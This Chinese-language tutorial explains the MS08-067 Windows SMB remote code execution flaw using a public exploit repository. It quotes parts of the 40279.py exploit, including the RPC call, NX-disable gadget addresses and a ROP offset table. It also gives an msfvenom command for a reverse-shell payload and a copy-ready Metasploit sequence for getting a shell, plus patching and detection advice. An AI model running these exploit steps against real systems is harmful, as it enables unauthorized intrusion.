- 网络安全
- 渗透测试
【免费下载链接】windows-kernel-exploits
windows-kernel-exploits Windows平台提权漏洞集合
导读
MS08-067(对应 CVE-2008-4250,补丁编号 KB958644)是 Windows 平台历史上影响范围最广、利用最成熟的远程代码执行漏洞之一,广泛影响 Windows 2000 / XP / Server 2003 / Vista / Server 2008 等系统。本篇文章以 MS08-067/README.md 为骨架,结合仓库内提供的 Python 独立利用脚本与两个编译好的可利用程序,系统讲解漏洞成因、目标系统判定、Metasploit 模块化利用流程、独立脚本的源码级实现原理,以及防护与检测思路。读完本文,你将掌握从环境探测、漏洞确认到拿到远程 Shell 的完整实战链路。
1. 漏洞概述与影响范围
1.1 漏洞编号与本质
MS08-067 是微软于 2008 年 10 月发布的安全公告编号,其对应 CVE 编号为 CVE-2008-4250,官方补丁编号为 KB958644。该漏洞位于 Windows 的 Server 服务(SRVSVC)中,当攻击者向目标系统的Server 服务(SMB 协议,默认 TCP 445 端口)发送特制的 RPC 请求时,服务在解析网络路径参数时存在远程代码执行缺陷,攻击者无需任何凭据即可在目标机器上以 SYSTEM 权限执行任意代码,属于典型的"零点击"远程漏洞——这与仓库中其他绝大多数本地权限提升类漏洞(如 MS16-032、MS17-017 等)形成了本质区别。
从 项目根目录 README 的漏洞列表中可以看到,本项目将 MS08-067 归类为:
[MS08-067] [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
即:这是一枚**远程代码执行(Remote Code Execution)**漏洞,受影响系统涵盖 Windows 2000、Windows XP、Windows Server 2003、Windows Vista 与 Windows Server 2008。
1.2 漏洞本质:NetPathCompare 的栈溢出
从仓库内提供的独立利用脚本 MS08-067/40279.py 可以看出,漏洞触发点位于 SRVSVC(Server Service)服务导出的NetPathCompare例程。攻击链路如下:
- 攻击者通过 SMB 命名管道
\pipe\browser建立 DCE/RPC 会话; - 绑定 SRVSVC 服务的 UUID
4b324fc8-1670-01d3-1278-5a47bf6ee188(协议版本 3.0); - 调用 opnum
0x1f(十进制 31,即NetPathCompare),传入被恶意构造的路径字符串; - SRVSVC 在处理该路径时未对路径长度做正确校验,导致栈缓冲区溢出,进而劫持控制流执行 shellcode。
这一点在40279.py的run()方法中有直接体现:
self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) ... self.__dce.call(0x1f, self.__stub)其中self.__stub里填充了超长的畸形路径"\x5c\x00" + "ABCDEFGHIJ"*10 + shellcode + ...,正是用于撑爆栈缓冲区的溢出载荷。
2. 环境准备与漏洞确认
2.1 用 Nmap 脚本确认目标存在漏洞
在发起利用之前,需要先确认目标主机开放了 445 端口且存在该漏洞。MS08-067/README.md给出的第一条命令就是通过 Metasploit 内置的db_nmap调用 Nmap 的 SMB 漏洞检测脚本:
msf > db_status msf > db_nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.229.137命令参数说明:
| 参数 | 作用 |
|---|---|
db_status | 检查 Metasploit 数据库连接状态(db_nmap需要数据库支持才能保存扫描结果) |
-sS | SYN 半开扫描,快速探测端口开放情况 |
-sV | 版本探测,识别目标 445 端口上运行的服务版本 |
-O | 操作系统指纹识别,帮助判断目标是否为 XP/2003 等受影响系统 |
--script=smb-check-vulns.nse | 调用 Nmap 的 SMB 漏洞检查脚本,可输出目标是否存在 MS08-067 等已知 SMB 漏洞 |
-n | 不做 DNS 反向解析,加快扫描速度 |
如果目标存在漏洞,smb-check-vulns.nse的输出中会出现MS08-067: VULNERABLE之类的标记,此时即可进入利用阶段。仓库根目录还提供了配套的 缺失补丁检测工具 win-exp-suggester,可在拿到目标systeminfo输出后批量比对缺失补丁,作为漏洞确认的补充手段。
2.2 直接使用官方独立 PoC 脚本(40279.py)
除了 Metasploit 模块,仓库还收录了独立的 Python 利用脚本 MS08-067/40279.py(Exploit-DB 编号 40279)。该脚本基于 Impacket 库编写,用法为:
python 40279.py <target ip> <os 编号>脚本头部明确说明它是 Debasis Mohanty 原始代码(Exploit-DB 7132)的修改版本,返回地址与 ROP 链移植自 Metasploit 的exploit/windows/smb/ms08_067_netapi模块,因此其利用效果与 Metasploit 模块基本等价。
运行前需要安装依赖:
pip install impacket pycrypto若缺少依赖,脚本会打印提示后退出(对应代码中的ImportError处理分支)。
3. 独立脚本源码级分析:OS 分支与 ROP 链
3.1 目标系统编号映射
MS08-067/README.md只给出了 Metasploit 的用法,而独立脚本40279.py则提供了更精细的按操作系统选择利用载荷的维度,二者正好互补。脚本通过第二个命令行参数os选择对应的返回地址与跳转结构,完整映射如下(见40279.py中__DCEPacket方法):
| os 编号 | 目标系统 | 利用方式 |
|---|---|---|
| 1 | Windows XP SP0/SP1(通用) | 直接返回地址跳转(nonxjmper) |
| 2 | Windows 2000(通用) | 直接返回地址跳转 |
| 3 | Windows 2003 SP0(通用) | 直接返回地址跳转 |
| 4 | Windows 2003 SP1(英文版) | NX 禁用链(disableNXjumper,借助 NTDLL/SHELL32 中的 gadget) |
| 5 | Windows XP SP3(法语版,NX) | 返回地址 + NX 禁用 |
| 6 | Windows XP SP3(英文版,NX) | 返回地址 + NX 禁用 |
| 7 | Windows XP SP3(英文版,AlwaysOn NX) | 完整 ROP 链(generate_rop) |
脚本运行时会先打印所选系统分支,例如:
Windows XP SP0/SP1 Universal3.2 NX 禁用与 ROP 链原理
对于开启了数据执行保护(NX/DEP)的系统,直接跳到栈上执行 shellcode 会失败,因此脚本针对不同防护级别设计了三种载荷:
nonxjmper:适用于未开启 NX 的系统,构造return address + 填充 + jmp结构直接跳入栈中的 shellcode;disableNXjumper:适用于 XP SP3 / 2003 SP1 等开启 NX 的系统,借助NTDLL.DLL与SHELL32.DLL中的 gadget(如dec ESI, ret、jmp ESP、NX disable 函数地址)在跳转前先关闭 NX,再执行 shellcode。源码中的注释给出了这些 gadget 的真实位置,例如:ret_dec = "\x8c\x56\x90\x7c" # 0x7c90568c dec ESI, ret @SHELL32.DLL jmp_esp = "\xd3\xfe\x86\x7c" # 0x7c86fed3 jmp ESP @NTDLL.DLL disable_nx = "\x13\xe4\x83\x7c" # 0x7c83e413 NX disable @NTDLL.DLLgenerate_rop:针对 XP SP3 英文版AlwaysOn NX(硬件强制 NX,无法直接调用 NX disable),改为构建完整的 ROP 链,以netapi32.dll模块基址0x6f880000加上各 gadget 的相对偏移(RVA)完成"调用HeapCreate创建可执行堆 → 将 shellcode 复制到堆中 → 跳转执行"的完整流程。脚本中维护了一张 gadget 偏移表:rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6, 'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, ...}ROP 链的构造顺序为:
HeapCreate 调用地址 → pop ecx / ret → 写入 shellcode → add eax,8 → jmp eax,最终跳入堆中的解码器执行 reverse TCP shellcode。
3.3 内嵌 shellcode 与传输构造
脚本中的 shellcode 是 Metasploit 生成的windows/meterpreter/reverse_tcp载荷(默认回连端口 443,地址 192.168.40.103),并在头部注释中给出了可复现的生成命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本地IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python其中-b指定的坏字符(\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40)是为了避免在路径字符串传输过程中被截断或被路径解析逻辑干扰。脚本注释还特别强调了两点实战要点:
EXITFUNC=thread必须设置,否则 shell 退出时会因进程退出导致会话不稳定;- 解码器前要预留足够的 NOP 雪橇(脚本开头填充了 45 个
\x90),确保多阶段解码能够完整展开。该载荷体积约为 380 字节(不含 NOP)。
整个溢出请求由三部分拼接而成:畸形路径(path)、SRVSVC 服务器名结构(server)与路径前缀(prefix),最终封装成stub数据通过self.__dce.call(0x1f, self.__stub)一次性发出,随后time.sleep(5)等待 shellcode 回连。
3.4 编译好的可直接运行程序
仓库还提供了两个编译好的利用程序:
- MS08-067.exe:体积仅 6.6 KB 的 C 编译版本(从其 PDB 路径
C:\Exploits\MS08-067\Release\MS08-067.pdb可以推断是 Visual Studio Release 构建产物); - MS08-067_2K3.exe:约 4.3 MB,从其内部字符串可看到完整的 Python 运行时与
impacket相关符号,可以推断为基于40279.py打包的独立可执行版本,专为 Windows 2003 场景准备,适合目标机器上无 Python 环境的实战条件。
这两个程序对应 MS08-067/README.md 中漏洞参考部分标注的 Metasploit 模块之外的自研/移植利用路线,可与 Python 脚本互为备份。
4. Metasploit 模块化利用实战(按 README 标准流程)
4.1 完整攻击流程
MS08-067/README.md的核心部分就是一段可直接照抄执行的 Metasploit 交互式命令序列,完整复刻如下:
msf > db_status msf > db_nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.229.137 msf > search ms08_067 msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.229.137 msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp msf exploit(ms08_067_netapi) > exploit4.2 各步骤含义拆解
| 步骤 | 命令 | 作用与注意事项 |
|---|---|---|
| 1 | db_status | 确认 Metasploit 已连接数据库,后续db_nmap扫描结果才能入库并在hosts/services中复用 |
| 2 | db_nmap ... | 将 Nmap 扫描结果写入 Metasploit 数据库,同时完成漏洞预检测(见 2.1 节) |
| 3 | search ms08_067 | 检索本地模块库,确认exploit/windows/smb/ms08_067_netapi存在 |
| 4 | use exploit/windows/smb/ms08_067_netapi | 加载 MS08-067 专用 SMB 利用模块(即独立脚本注释中提到的移植来源模块) |
| 5 | set RHOST 192.168.229.137 | 设置目标 IP;RHOST是远程主机,与本地监听的LHOST严格区分 |
| 6 | set payload windows/shell_bind_tcp | 选择bind shell载荷——目标主动在本机开启监听端口等待攻击者连接,适用于目标无法外联(NAT/防火墙出站受限)的反弹场景 |
| 7 | exploit | 发送恶意 RPC 请求,触发溢出。成功后即可获得目标机器的命令执行 Shell |
4.3 载荷选型建议
README 示例选用windows/shell_bind_tcp(反向绑定型),而独立脚本40279.py内嵌的是windows/meterpreter/reverse_tcp(正向反弹型)。二者的选型取决于网络环境:
- 反向反弹(reverse):目标主动连接攻击机,需设置
LHOST/LPORT,适合目标可出站访问攻击机的场景; - 绑定监听(bind):目标在自身端口监听,攻击者连入,适合攻击机无法被目标访问、或出站流量被严格管控的场景。
在实战中通常结合实际情况二选一:若使用reverse_tcp,可参考 3.3 节用msfvenom重新生成适合自己环境的 shellcode 并替换到40279.py中(注意同步修改脚本内的LHOST/LPORT注释值与坏字符过滤)。
5. 防护、检测与修复建议
- 安装补丁:MS08-067 的官方修复补丁为KB958644。所有受影响系统(Windows 2000 / XP / 2003 / Vista / 2008)应优先安装该补丁或升级至更高版本系统;
- 限制 445 端口暴露:该漏洞依赖 SMB(TCP 445)与命名管道
\pipe\browser,在边界防火墙上封禁对 445 端口的非必要入站访问可显著缩小攻击面; - 漏洞预检测:利用前可通过 Nmap 的
smb-check-vulns.nse脚本或仓库根目录提供的 win-exp-suggester(配合目标systeminfo输出比对补丁库)确认目标补丁状况,避免盲目利用; - 日志审计:SRVSVC 的畸形 RPC 请求通常伴随大量长度异常的
NetPathCompare调用与异常 SMB 会话,可在服务端开启审计日志,关注 445 端口上的异常连接来源。
6. 总结
MS08-067(CVE-2008-4250)作为 Windows 历史上最经典的远程代码执行漏洞之一,其价值在于:
- 利用链路完整:从 Nmap 漏洞确认,到 Metasploit 模块一键利用,再到独立 Python 脚本的精细 OS 分支控制,仓库 MS08-067 目录提供了完整的实战素材;
- 技术纵深典型:
40279.py覆盖了从直接跳转、NX 禁用到 AlwaysOn NX 下 ROP 链构造的三级防护对抗演进,是研究 Windows 溢出利用技术(特别是 DEP 绕过)的绝佳教材; - 代码可复现性强:脚本头部明确标注了 shellcode 生成命令、坏字符集合、EXITFUNC 要求等关键细节,读者可据此在自有靶场环境中完整复现。
需要特别强调的是:该漏洞及本仓库所有利用代码仅可用于授权的渗透测试、CTF 靶场与安全研究场景,请勿用于未授权系统,否则由此产生的后果需自行承担(仓库根目录 README 亦有明确免责声明)。
- 网络安全
- 渗透测试
【免费下载链接】windows-kernel-exploits
windows-kernel-exploits Windows平台提权漏洞集合
相关推荐
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考